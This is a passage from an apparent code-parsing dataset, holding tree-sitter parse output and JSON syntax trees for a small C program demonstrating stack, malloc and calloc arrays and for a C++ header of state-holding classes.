vh_cal[%d] = %d\\n\", i, &vh_cal[i], i, vh_cal[i])", "parent": 166, "children": [181, 182], "start_point": {"row": 41, "column": 8}, "end_point": {"row": 41, "column": 82}}, {"id": 181, "type": "identifier", "text": "printf", "parent": 180, "children": [], "start_point": {"row": 41, "column": 8}, "end_point": {"row": 41, "column": 14}}, {"id": 182, "type": "argument_list", "text": "(\"&vh_cal[%d] = %p, vh_cal[%d] = %d\\n\", i, &vh_cal[i], i, vh_cal[i])", "parent": 180, "children": [183, 185, 186, 190, 191], "start_point": {"row": 41, "column": 14}, "end_point": {"row": 41, "column": 82}}, {"id": 183, "type": "string_literal", "text": "\"&vh_cal[%d] = %p, vh_cal[%d] = %d\\n\"", "parent": 182, "children": [184], "start_point": {"row": 41, "column": 15}, "end_point": {"row": 41, "column": 52}}, {"id": 184, "type": "escape_sequence", "text": "\\n", "parent": 183, "children": [], "start_point": {"row": 41, "column": 49}, "end_point": {"row": 41, "column": 51}}, {"id": 185, "type": "identifier", "text": "i", "parent": 182, "children": [], "start_point": {"row": 41, "column": 54}, "end_point": {"row": 41, "column": 55}}, {"id": 186, "type": "pointer_expression", "text": "&vh_cal[i]", "parent": 182, "children": [187], "start_point": {"row": 41, "column": 57}, "end_point": {"row": 41, "column": 67}}, {"id": 187, "type": "subscript_expression", "text": "vh_cal[i]", "parent": 186, "children": [188, 189], "start_point": {"row": 41, "column": 58}, "end_point": {"row": 41, "column": 67}}, {"id": 188, "type": "identifier", "text": "vh_cal", "parent": 187, "children": [], "start_point": {"row": 41, "column": 58}, "end_point": {"row": 41, "column": 64}}, {"id": 189, "type": "identifier", "text": "i", "parent": 187, "children": [], "start_point": {"row": 41, "column": 65}, "end_point": {"row": 41, "column": 66}}, {"id": 190, "type": "identifier", "text": "i", "parent": 182, "children": [], "start_point": {"row": 41, "column": 69}, "end_point": {"row": 41, "column": 70}}, {"id": 191, "type": "subscript_expression", "text": "vh_cal[i]", "parent": 182, "children": [192, 193], "start_point": {"row": 41, "column": 72}, "end_point": {"row": 41, "column": 81}}, {"id": 192, "type": "identifier", "text": "vh_cal", "parent": 191, "children": [], "start_point": {"row": 41, "column": 72}, "end_point": {"row": 41, "column": 78}}, {"id": 193, "type": "identifier", "text": "i", "parent": 191, "children": [], "start_point": {"row": 41, "column": 79}, "end_point": {"row": 41, "column": 80}}, {"id": 194, "type": "call_expression", "text": "puts(\"\\n\")", "parent": 6, "children": [195, 196], "start_point": {"row": 44, "column": 4}, "end_point": {"row": 44, "column": 14}}, {"id": 195, "type": "identifier", "text": "puts", "parent": 194, "children": [], "start_point": {"row": 44, "column": 4}, "end_point": {"row": 44, "column": 8}}, {"id": 196, "type": "argument_list", "text": "(\"\\n\")", "parent": 194, "children": [197], "start_point": {"row": 44, "column": 8}, "end_point": {"row": 44, "column": 14}}, {"id": 197, "type": "string_literal", "text": "\"\\n\"", "parent": 196, "children": [198], "start_point": {"row": 44, "column": 9}, "end_point": {"row": 44, "column": 13}}, {"id": 198, "type": "escape_sequence", "text": "\\n", "parent": 197, "children": [], "start_point": {"row": 44, "column": 10}, "end_point": {"row": 44, "column": 12}}, {"id": 199, "type": "return_statement", "text": "return 0;", "parent": 6, "children": [200], "start_point": {"row": 47, "column": 4}, "end_point": {"row": 47, "column": 13}}, {"id": 200, "type": "number_literal", "text": "0", "parent": 199, "children": [], "start_point": {"row": 47, "column": 11}, "end_point": {"row": 47, "column": 12}}]}, "node_categories": {"declarations": {"functions": [6, 8], "variables": [11, 37, 69, 103, 135, 167], "classes": [], "imports": [0, 1, 3, 4], "modules": [], "enums": []}, "statements": {"expressions": [24, 28, 33, 43, 47, 50, 56, 57, 61, 64, 76, 81, 84, 87, 90, 94, 99, 109, 113, 116, 122, 123, 127, 130, 142, 147, 151, 154, 158, 163, 173, 177, 180, 186, 187, 191, 194], "assignments": [], "loops": [36, 102, 166], "conditionals": [9, 15, 25, 29, 34, 35, 40, 44, 48, 51, 55, 58, 59, 60, 62, 63, 65, 74, 82, 91, 95, 100, 101, 106, 110, 114, 117, 121, 124, 125, 126, 128, 129, 131, 140, 148, 155, 159, 164, 165, 170, 174, 178, 181, 185, 188, 189, 190, 192, 193, 195], "returns": [199], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 16, 19, 20, 21, 22, 23, 27, 31, 42, 46, 53, 67, 85, 93, 97, 108, 112, 119, 133, 150, 157, 161, 172, 176, 183, 197, 200], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 6, "universal_type": "function", "name": "main", "text_snippet": "int main() {\n\n // Static vector allocation (Stack memory)\n int vs[5] = {0, 10, 20, 30, 40};\n\n "}, {"node_id": 8, "universal_type": "function", "name": "unknown", "text_snippet": "main()"}], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include <stdio.h>\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include <stdlib.h>\n"}, {"node_id": 4, "text": "#include"}]}, "original_source_code": "#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n\n // Static vector allocation (Stack memory)\n int vs[5] = {0, 10, 20, 30, 40};\n\n puts(\"### STATIC VECTOR ###\");\n printf(\"&vs = %p vs = %p\\n\", &vs, vs);\n\n for (int i = 0; i < 5; i++)\n {\n printf(\"&vs[%d] = %p, vs[%d] = %d\\n\", i, &vs[i], i, vs[i]);\n }\n\n puts(\"\\n\");\n\n // Dinamyc vector allocation using malloc (Heap memory)\n // There're trash at the memory allocated\n int *vh_mal = (int *) malloc(5 * sizeof(int));\n\n puts(\"### DINAMYC VECTOR WHITH MALLOC ###\");\n printf(\"&vh_mal = %p vh_mal = %p\\n\", &vh_mal, vh_mal);\n\n for (int i = 0; i < 5; i++)\n {\n printf(\"&vh_mal[%d] = %p, vh_mal[%d] = %d\\n\", i, &vh_mal[i], i, vh_mal[i]);\n }\n\n puts(\"\\n\");\n\n // Dinamyc vector allocation using calloc (Heap memory)\n // Thare're no trash at the memory allocated\n int *vh_cal = (int *) calloc(5, sizeof(int));\n\n puts(\"### DINAMYC VECTOR WHITH CALLOC ###\");\n printf(\"&vh_cal = %p vh_cal = %p\\n\", &vh_cal, vh_cal);\n\n for (int i = 0; i < 5; i++)\n {\n printf(\"&vh_cal[%d] = %p, vh_cal[%d] = %d\\n\", i, &vh_cal[i], i, vh_cal[i]);\n }\n\n puts(\"\\n\");\n\n\n return 0;\n}"}
81,133
c
#pragma once #include "libutils.h" #include "MovingAverage.h" class LIBUTILS_API CState { public: CState(void); virtual ~CState(void); virtual string getString() const = 0; virtual void setString(string value) = 0; }; class LIBUTILS_API CStringState: public CState { string m_Value; public: CStringState(void); virtual ~CStringState(void); virtual string getString() const; virtual void setString(string value); }; class LIBUTILS_API CFloatState: public CState { float m_Value; public: CFloatState(void); virtual ~CFloatState(void); virtual string getString() const; virtual void setString(string value); }; typedef CMovingAverage<float, 60> LIBUTILS_API CFloatMovingAverage; class LIBUTILS_API CFloatAverageState: public CState { CFloatMovingAverage m_Value; public: CFloatAverageState(void); virtual ~CFloatAverageState(void); virtual string getString() const; virtual void setString(string value); }; class LIBUTILS_API CIntegerState: public CState { int m_Value; public: CIntegerState(void); virtual ~CIntegerState(void); virtual string getString() const; virtual void setString(string value); };
19.55
58
(translation_unit) "#pragma once \n#include "libutils.h"\n#include "MovingAverage.h" \n \nclass LIBUTILS_API CState \n{ \npublic: \n CState(void); \n virtual ~CState(void); \n virtual string getString() const = 0; \n virtual void setString(string value) = 0; \n}; \n \nclass LIBUTILS_API CStringState: \n public CState \n{ \n string m_Value; \npublic: \n CStringState(void); \n virtual ~CStringState(void); \n virtual string getString() const; \n virtual void setString(string value); \n}; \n \nclass LIBUTILS_API CFloatState: \n public CState \n{ \n float m_Value; \npublic: \n CFloatState(void); \n virtual ~CFloatState(void); \n virtual string getString() const; \n virtual void setString(string value); \n}; \n \ntypedef CMovingAverage<float, 60> LIBUTILS_API CFloatMovingAverage; \n \nclass LIBUTILS_API CFloatAverageState: \n public CState \n{ \n CFloatMovingAverage m_Value; \npublic: \n CFloatAverageState(void); \n virtual ~CFloatAverageState(void); \n virtual string getString() const; \n virtual void setString(string value); \n}; \n \nclass LIBUTILS_API CIntegerState: \n public CState \n{ \n int m_Value; \npublic: \n CIntegerState(void); \n virtual ~CIntegerState(void); \n virtual string getString() const; \n virtual void setString(string value); \n}; \n" (preproc_call) "#pragma once \n" (preproc_directive) "#pragma" (preproc_arg) "once " (preproc_include) "#include "libutils.h"\n" (#include) "#include" (string_literal) ""libutils.h"" (") """ (string_content) "libutils.h" (") """ (preproc_include) "#include "MovingAverage.h" \n" (#include) "#include" (string_literal) ""MovingAverage.h"" (") """ (string_content) "MovingAverage.h" (") """ (ERROR) "class LIBUTILS_API CState \n{ \npublic: \n CState(void); \n virtual ~CState(void); \n virtual string getString() const = 0; \n virtual void setString(string value) = 0; \n}; \n \nclass LIBUTILS_API CStringState: \n public CState \n{ \n string m_Value; \npublic: \n CStringState(void); \n virtual ~CStringState(void); \n virtual string getString() const; \n virtual void setString(string value); \n}; \n \nclass LIBUTILS_API CFloatState: \n public CState \n{ \n float m_Value; \npublic: \n CFloatState(void); \n virtual ~CFloatState(void); \n virtual string getString() const; \n virtual void setString(string value); \n}; \n \ntypedef CMovingAverage<float, 60> LIBUTILS_API CFloatMovingAverage; \n \nclass LIBUTILS_API CFloatAverageState: \n public CState \n{ \n CFloatMovingAverage m_Value; \npublic: \n CFloatAverageState(void); \n virtual ~CFloatAverageState(void); \n virtual string getString() const; \n virtual void setString(string value); \n}; \n \nclass LIBUTILS_API CIntegerState: \n public CState \n{ \n int m_Value; \npublic: \n CIntegerState(void); \n virtual ~CIntegerState(void); \n virtual string getString() const; \n virtual void setString(string value); \n};" (type_identifier) "class" (identifier) "LIBUTILS_API" (ERROR) "CState" (identifier) "CState" ({) "{" (labeled_statement) "public: \n CState(void);" (statement_identifier) "public" (:) ":" (expression_statement) "CState(void);" (call_expression) "CState(void)" (identifier) "CState" (argument_list) "(void)" (() "(" (identifier) "void" ()) ")" (;) ";" (declaration) "virtual ~CState(void);" (type_identifier) "virtual" (ERROR) "~" (~) "~" (function_declarator) "CState(void)" (identifier) "CState" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (type_identifier) "virtual" (ERROR) "string" (identifier) "string" (function_declarator) "getString()" (identifier) "getString" (parameter_list) "()" (() "(" ()) ")" (declaration) "const = 0; \n virtual void setString(string value) = 0;" (type_qualifier) "const" (const) "const" (ERROR) "= 0;" (=) "=" (number_literal) "0" (;) ";" (type_identifier) "virtual" (ERROR) "void" (identifier) "void" (init_declarator) "setString(string value) = 0" (function_declarator) "setString(string value)" (identifier) "setString" (parameter_list) "(string value)" (() "(" (parameter_declaration) "string value" (type_identifier) "string" (identifier) "value" ()) ")" (=) "=" (number_literal) "0" (;) ";" (ERROR) "}; \n \nclass LIBUTILS_API CStringState: \n public CState" (}) "}" (;) ";" (type_identifier) "class" (ERROR) "LIBUTILS_API CStringState:" (identifier) "LIBUTILS_API" (identifier) "CStringState" (:) ":" (identifier) "public" (identifier) "CState" ({) "{" (declaration) "string m_Value;" (type_identifier) "string" (identifier) "m_Value" (;) ";" (labeled_statement) "public: \n CStringState(void);" (statement_identifier) "public" (:) ":" (expression_statement) "CStringState(void);" (call_expression) "CStringState(void)" (identifier) "CStringState" (argument_list) "(void)" (() "(" (identifier) "void" ()) ")" (;) ";" (declaration) "virtual ~CStringState(void);" (type_identifier) "virtual" (ERROR) "~" (~) "~" (function_declarator) "CStringState(void)" (identifier) "CStringState" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (type_identifier) "virtual" (ERROR) "string" (identifier) "string" (function_declarator) "getString()" (identifier) "getString" (parameter_list) "()" (() "(" ()) ")" (declaration) "const; \n virtual void setString(string value);" (type_qualifier) "const" (const) "const" (ERROR) ";" (;) ";" (type_identifier) "virtual" (ERROR) "void" (identifier) "void" (function_declarator) "setString(string value)" (identifier) "setString" (parameter_list) "(string value)" (() "(" (parameter_declaration) "string value" (type_identifier) "string" (identifier) "value" ()) ")" (;) ";" (ERROR) "}; \n \nclass LIBUTILS_API CFloatState: \n public CState" (}) "}" (;) ";" (type_identifier) "class" (ERROR) "LIBUTILS_API CFloatState:" (identifier) "LIBUTILS_API" (identifier) "CFloatState" (:) ":" (identifier) "public" (identifier) "CState" ({) "{" (declaration) "float m_Value;" (primitive_type) "float" (identifier) "m_Value" (;) ";" (labeled_statement) "public: \n CFloatState(void);" (statement_identifier) "public" (:) ":" (expression_statement) "CFloatState(void);" (call_expression) "CFloatState(void)" (identifier) "CFloatState" (argument_list) "(void)" (() "(" (identifier) "void" ()) ")" (;) ";" (declaration) "virtual ~CFloatState(void);" (type_identifier) "virtual" (ERROR) "~" (~) "~" (function_declarator) "CFloatState(void)" (identifier) "CFloatState" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (function_definition) "virtual string getString() const; \n virtual void setString(string value); \n}; \n \ntypedef CMovingAverage<float, 60> LIBUTILS_API CFloatMovingAverage; \n \nclass LIBUTILS_API CFloatAverageState: \n public CState \n{ \n CFloatMovingAverage m_Value; \npublic: \n CFloatAverageState(void); \n virtual ~CFloatAverageState(void); \n virtual string getString() const; \n virtual void setString(string value); \n}; \n \nclass LIBUTILS_API CIntegerState: \n public CState \n{ \n int m_Value; \npublic: \n CIntegerState(void); \n virtual ~CIntegerState(void); \n virtual string getString() const; \n virtual void setString(string value); \n}" (type_identifier) "virtual" (ERROR) "string" (identifier) "string" (function_declarator) "getString()" (identifier) "getString" (parameter_list) "()" (() "(" ()) ")" (declaration) "const; \n virtual void setString(string value);" (type_qualifier) "const" (const) "const" (ERROR) ";" (;) ";" (type_identifier) "virtual" (ERROR) "void" (identifier) "void" (function_declarator) "setString(string value)" (identifier) "setString" (parameter_list) "(string value)" (() "(" (parameter_declaration) "string value" (type_identifier) "string" (identifier) "value" ()) ")" (;) ";" (ERROR) "}; \n \ntypedef CMovingAverage<" (}) "}" (;) ";" (typedef) "typedef" (identifier) "CMovingAverage" (<) "<" (declaration) "float, 60> LIBUTILS_API CFloatMovingAverage;" (primitive_type) "float" (ERROR) ", 60> LIBUTILS_API" (,) "," (number_literal) "60" (>) ">" (identifier) "LIBUTILS_API" (identifier) "CFloatMovingAverage" (;) ";" (declaration) "class LIBUTILS_API CFloatAverageState: \n public CState \n{ \n CFloatMovingAverage m_Value;" (type_identifier) "class" (ERROR) "LIBUTILS_API CFloatAverageState: \n public CState \n{ \n CFloatMovingAverage" (identifier) "LIBUTILS_API" (identifier) "CFloatAverageState" (:) ":" (identifier) "public" (identifier) "CState" ({) "{" (identifier) "CFloatMovingAverage" (identifier) "m_Value" (;) ";" (declaration) "public: \n CFloatAverageState(void);" (type_identifier) "public" (ERROR) ":" (:) ":" (function_declarator) "CFloatAverageState(void)" (identifier) "CFloatAverageState" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (declaration) "virtual ~CFloatAverageState(void);" (type_identifier) "virtual" (ERROR) "~" (~) "~" (function_declarator) "CFloatAverageState(void)" (identifier) "CFloatAverageState" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (declaration) "virtual string getString() const; \n virtual void setString(string value);" (type_identifier) "virtual" (ERROR) "string getString() const; \n virtual void" (identifier) "string" (function_declarator) "getString() const" (identifier) "getString" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (;) ";" (identifier) "virtual" (identifier) "void" (function_declarator) "setString(string value)" (identifier) "setString" (parameter_list) "(string value)" (() "(" (parameter_declaration) "string value" (type_identifier) "string" (identifier) "value" ()) ")" (;) ";" (ERROR) "}; \n \nclass LIBUTILS_API CIntegerState: \n public CState" (}) "}" (;) ";" (type_identifier) "class" (ERROR) "LIBUTILS_API CIntegerState:" (identifier) "LIBUTILS_API" (identifier) "CIntegerState" (:) ":" (identifier) "public" (identifier) "CState" (compound_statement) "{ \n int m_Value; \npublic: \n CIntegerState(void); \n virtual ~CIntegerState(void); \n virtual string getString() const; \n virtual void setString(string value); \n}" ({) "{" (declaration) "int m_Value;" (primitive_type) "int" (identifier) "m_Value" (;) ";" (labeled_statement) "public: \n CIntegerState(void);" (statement_identifier) "public" (:) ":" (expression_statement) "CIntegerState(void);" (call_expression) "CIntegerState(void)" (identifier) "CIntegerState" (argument_list) "(void)" (() "(" (identifier) "void" ()) ")" (;) ";" (declaration) "virtual ~CIntegerState(void);" (type_identifier) "virtual" (ERROR) "~" (~) "~" (function_declarator) "CIntegerState(void)" (identifier) "CIntegerState" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (ERROR) "virtual string getString() const; \n virtual void setString(string value);" (type_identifier) "virtual" (ERROR) "string" (identifier) "string" (function_declarator) "getString()" (identifier) "getString" (parameter_list) "()" (() "(" ()) ")" (declaration) "const; \n virtual void setString(string value);" (type_qualifier) "const" (const) "const" (ERROR) ";" (;) ";" (type_identifier) "virtual" (ERROR) "void" (identifier) "void" (function_declarator) "setString(string value)" (identifier) "setString" (parameter_list) "(string value)" (() "(" (parameter_declaration) "string value" (type_identifier) "string" (identifier) "value" ()) ")" (;) ";" (}) "}" (expression_statement) ";" (;) ";"
343
31
{"language": "c", "success": true, "metadata": {"lines": 58, "avg_line_length": 19.55, "nodes": 213, "errors": 0, "source_hash": "c9e594e2001894ca0abdaf0f183132a09078475f818e43800c959f4c975d90e8", "categorized_nodes": 140}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma once\r\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#pragma", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "once\r", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 13}}, {"id": 3, "type": "preproc_include", "text": "#include \"libutils.h\"\n", "parent": null, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 8}}, {"id": 5, "type": "string_literal", "text": "\"libutils.h\"", "parent": 3, "children": [], "start_point": {"row": 1, "column": 9}, "end_point": {"row": 1, "column": 21}}, {"id": 6, "type": "preproc_include", "text": "#include \"MovingAverage.h\"\r\n", "parent": null, "children": [7, 8], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 3, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"MovingAverage.h\"", "parent": 6, "children": [], "start_point": {"row": 2, "column": 9}, "end_point": {"row": 2, "column": 26}}, {"id": 9, "type": "ERROR", "text": "class LIBUTILS_API CState\r\n{\r\npublic:\r\n\tCState(void);\r\n\tvirtual ~CState(void);\r\n\tvirtual string getString() const = 0;\r\n\tvirtual void setString(string value) = 0;\r\n};\r\n\r\nclass LIBUTILS_API CStringState:\r\n\tpublic CState\r\n{\r\n\tstring m_Value;\r\npublic:\r\n\tCStringState(void);\r\n\tvirtual ~CStringState(void);\r\n\tvirtual string getString() const;\r\n\tvirtual void setString(string value);\r\n};\r\n\r\nclass LIBUTILS_API CFloatState:\r\n\tpublic CState\r\n{\r\n\tfloat m_Value;\r\npublic:\r\n\tCFloatState(void);\r\n\tvirtual ~CFloatState(void);\r\n\tvirtual string getString() const;\r\n\tvirtual void setString(string value);\r\n};\r\n\r\ntypedef CMovingAverage<float, 60> LIBUTILS_API CFloatMovingAverage;\r\n\r\nclass LIBUTILS_API CFloatAverageState:\r\n\tpublic CState\r\n{\r\n\tCFloatMovingAverage m_Value;\r\npublic:\r\n\tCFloatAverageState(void);\r\n\tvirtual ~CFloatAverageState(void);\r\n\tvirtual string getString() const;\r\n\tvirtual void setString(string value);\r\n};\r\n\r\nclass LIBUTILS_API CIntegerState:\r\n\tpublic CState\r\n{\r\n\tint m_Value;\r\npublic:\r\n\tCIntegerState(void);\r\n\tvirtual ~CIntegerState(void);\r\n\tvirtual string getString() const;\r\n\tvirtual void setString(string value);\r\n};", "parent": null, "children": [10, 11, 13, 18, 27, 28, 30, 33, 49, 54, 57, 62, 71, 72, 74, 77, 87, 92, 95, 100, 109], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 57, "column": 2}}, {"id": 10, "type": "identifier", "text": "LIBUTILS_API", "parent": 9, "children": [], "start_point": {"row": 4, "column": 6}, "end_point": {"row": 4, "column": 18}}, {"id": 11, "type": "ERROR", "text": "CState", "parent": 9, "children": [12], "start_point": {"row": 4, "column": 19}, "end_point": {"row": 4, "column": 25}}, {"id": 12, "type": "identifier", "text": "CState", "parent": 11, "children": [], "start_point": {"row": 4, "column": 19}, "end_point": {"row": 4, "column": 25}}, {"id": 13, "type": "labeled_statement", "text": "public:\r\n\tCState(void);", "parent": 9, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 7, "column": 14}}, {"id": 14, "type": "call_expression", "text": "CState(void)", "parent": 13, "children": [15, 16], "start_point": {"row": 7, "column": 1}, "end_point": {"row": 7, "column": 13}}, {"id": 15, "type": "identifier", "text": "CState", "parent": 14, "children": [], "start_point": {"row": 7, "column": 1}, "end_point": {"row": 7, "column": 7}}, {"id": 16, "type": "argument_list", "text": "(void)", "parent": 14, "children": [17], "start_point": {"row": 7, "column": 7}, "end_point": {"row": 7, "column": 13}}, {"id": 17, "type": "identifier", "text": "void", "parent": 16, "children": [], "start_point": {"row": 7, "column": 8}, "end_point": {"row": 7, "column": 12}}, {"id": 18, "type": "declaration", "text": "virtual ~CState(void);", "parent": 9, "children": [19, 20, 22], "start_point": {"row": 8, "column": 1}, "end_point": {"row": 8, "column": 23}}, {"id": 19, "type": "type_identifier", "text": "virtual", "parent": 18, "children": [], "start_point": {"row": 8, "column": 1}, "end_point": {"row": 8, "column": 8}}, {"id": 20, "type": "ERROR", "text": "~", "parent": 18, "children": [21], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 10}}, {"id": 21, "type": "~", "text": "~", "parent": 20, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 10}}, {"id": 22, "type": "function_declarator", "text": "CState(void)", "parent": 18, "children": [23, 24], "start_point": {"row": 8, "column": 10}, "end_point": {"row": 8, "column": 22}}, {"id": 23, "type": "identifier", "text": "CState", "parent": 22, "children": [], "start_point": {"row": 8, "column": 10}, "end_point": {"row": 8, "column": 16}}, {"id": 24, "type": "parameter_list", "text": "(void)", "parent": 22, "children": [25], "start_point": {"row": 8, "column": 16}, "end_point": {"row": 8, "column": 22}}, {"id": 25, "type": "parameter_declaration", "text": "void", "parent": 24, "children": [26], "start_point": {"row": 8, "column": 17}, "end_point": {"row": 8, "column": 21}}, {"id": 26, "type": "primitive_type", "text": "void", "parent": 25, "children": [], "start_point": {"row": 8, "column": 17}, "end_point": {"row": 8, "column": 21}}, {"id": 27, "type": "type_identifier", "text": "virtual", "parent": 9, "children": [], "start_point": {"row": 9, "column": 1}, "end_point": {"row": 9, "column": 8}}, {"id": 28, "type": "ERROR", "text": "string", "parent": 9, "children": [29], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 15}}, {"id": 29, "type": "identifier", "text": "string", "parent": 28, "children": [], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 15}}, {"id": 30, "type": "function_declarator", "text": "getString()", "parent": 9, "children": [31, 32], "start_point": {"row": 9, "column": 16}, "end_point": {"row": 9, "column": 27}}, {"id": 31, "type": "identifier", "text": "getString", "parent": 30, "children": [], "start_point": {"row": 9, "column": 16}, "end_point": {"row": 9, "column": 25}}, {"id": 32, "type": "parameter_list", "text": "()", "parent": 30, "children": [], "start_point": {"row": 9, "column": 25}, "end_point": {"row": 9, "column": 27}}, {"id": 33, "type": "declaration", "text": "const = 0;\r\n\tvirtual void setString(string value) = 0;", "parent": 9, "children": [34, 37, 38, 40], "start_point": {"row": 9, "column": 28}, "end_point": {"row": 10, "column": 42}}, {"id": 34, "type": "ERROR", "text": "= 0;", "parent": 33, "children": [35, 36], "start_point": {"row": 9, "column": 34}, "end_point": {"row": 9, "column": 38}}, {"id": 35, "type": "=", "text": "=", "parent": 34, "children": [], "start_point": {"row": 9, "column": 34}, "end_point": {"row": 9, "column": 35}}, {"id": 36, "type": "number_literal", "text": "0", "parent": 34, "children": [], "start_point": {"row": 9, "column": 36}, "end_point": {"row": 9, "column": 37}}, {"id": 37, "type": "type_identifier", "text": "virtual", "parent": 33, "children": [], "start_point": {"row": 10, "column": 1}, "end_point": {"row": 10, "column": 8}}, {"id": 38, "type": "ERROR", "text": "void", "parent": 33, "children": [39], "start_point": {"row": 10, "column": 9}, "end_point": {"row": 10, "column": 13}}, {"id": 39, "type": "identifier", "text": "void", "parent": 38, "children": [], "start_point": {"row": 10, "column": 9}, "end_point": {"row": 10, "column": 13}}, {"id": 40, "type": "init_declarator", "text": "setString(string value) = 0", "parent": 33, "children": [41, 47, 48], "start_point": {"row": 10, "column": 14}, "end_point": {"row": 10, "column": 41}}, {"id": 41, "type": "function_declarator", "text": "setString(string value)", "parent": 40, "children": [42, 43], "start_point": {"row": 10, "column": 14}, "end_point": {"row": 10, "column": 37}}, {"id": 42, "type": "identifier", "text": "setString", "parent": 41, "children": [], "start_point": {"row": 10, "column": 14}, "end_point": {"row": 10, "column": 23}}, {"id": 43, "type": "parameter_list", "text": "(string value)", "parent": 41, "children": [44], "start_point": {"row": 10, "column": 23}, "end_point": {"row": 10, "column": 37}}, {"id": 44, "type": "parameter_declaration", "text": "string value", "parent": 43, "children": [45, 46], "start_point": {"row": 10, "column": 24}, "end_point": {"row": 10, "column": 36}}, {"id": 45, "type": "type_identifier", "text": "string", "parent": 44, "children": [], "start_point": {"row": 10, "column": 24}, "end_point": {"row": 10, "column": 30}}, {"id": 46, "type": "identifier", "text": "value", "parent": 44, "children": [], "start_point": {"row": 10, "column": 31}, "end_point": {"row": 10, "column": 36}}, {"id": 47, "type": "=", "text": "=", "parent": 40, "children": [], "start_point": {"row": 10, "column": 38}, "end_point": {"row": 10, "column": 39}}, {"id": 48, "type": "number_literal", "text": "0", "parent": 40, "children": [], "start_point": {"row": 10, "column": 40}, "end_point": {"row": 10, "column": 41}}, {"id": 49, "type": "ERROR", "text": "};\r\n\r\nclass LIBUTILS_API CStringState:\r\n\tpublic CState", "parent": 9, "children": [50, 53], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 14, "column": 14}}, {"id": 50, "type": "ERROR", "text": "LIBUTILS_API CStringState:", "parent": 49, "children": [51, 52], "start_point": {"row": 13, "column": 6}, "end_point": {"row": 13, "column": 32}}, {"id": 51, "type": "identifier", "text": "LIBUTILS_API", "parent": 50, "children": [], "start_point": {"row": 13, "column": 6}, "end_point": {"row": 13, "column": 18}}, {"id": 52, "type": "identifier", "text": "CStringState", "parent": 50, "children": [], "start_point": {"row": 13, "column": 19}, "end_point": {"row": 13, "column": 31}}, {"id": 53, "type": "identifier", "text": "CState", "parent": 49, "children": [], "start_point": {"row": 14, "column": 8}, "end_point": {"row": 14, "column": 14}}, {"id": 54, "type": "declaration", "text": "string m_Value;", "parent": 9, "children": [55, 56], "start_point": {"row": 16, "column": 1}, "end_point": {"row": 16, "column": 16}}, {"id": 55, "type": "type_identifier", "text": "string", "parent": 54, "children": [], "start_point": {"row": 16, "column": 1}, "end_point": {"row": 16, "column": 7}}, {"id": 56, "type": "identifier", "text": "m_Value", "parent": 54, "children": [], "start_point": {"row": 16, "column": 8}, "end_point": {"row": 16, "column": 15}}, {"id": 57, "type": "labeled_statement", "text": "public:\r\n\tCStringState(void);", "parent": 9, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 18, "column": 20}}, {"id": 58, "type": "call_expression", "text": "CStringState(void)", "parent": 57, "children": [59, 60], "start_point": {"row": 18, "column": 1}, "end_point": {"row": 18, "column": 19}}, {"id": 59, "type": "identifier", "text": "CStringState", "parent": 58, "children": [], "start_point": {"row": 18, "column": 1}, "end_point": {"row": 18, "column": 13}}, {"id": 60, "type": "argument_list", "text": "(void)", "parent": 58, "children": [61], "start_point": {"row": 18, "column": 13}, "end_point": {"row": 18, "column": 19}}, {"id": 61, "type": "identifier", "text": "void", "parent": 60, "children": [], "start_point": {"row": 18, "column": 14}, "end_point": {"row": 18, "column": 18}}, {"id": 62, "type": "declaration", "text": "virtual ~CStringState(void);", "parent": 9, "children": [63, 64, 66], "start_point": {"row": 19, "column": 1}, "end_point": {"row": 19, "column": 29}}, {"id": 63, "type": "type_identifier", "text": "virtual", "parent": 62, "children": [], "start_point": {"row": 19, "column": 1}, "end_point": {"row": 19, "column": 8}}, {"id": 64, "type": "ERROR", "text": "~", "parent": 62, "children": [65], "start_point": {"row": 19, "column": 9}, "end_point": {"row": 19, "column": 10}}, {"id": 65, "type": "~", "text": "~", "parent": 64, "children": [], "start_point": {"row": 19, "column": 9}, "end_point": {"row": 19, "column": 10}}, {"id": 66, "type": "function_declarator", "text": "CStringState(void)", "parent": 62, "children": [67, 68], "start_point": {"row": 19, "column": 10}, "end_point": {"row": 19, "column": 28}}, {"id": 67, "type": "identifier", "text": "CStringState", "parent": 66, "children": [], "start_point": {"row": 19, "column": 10}, 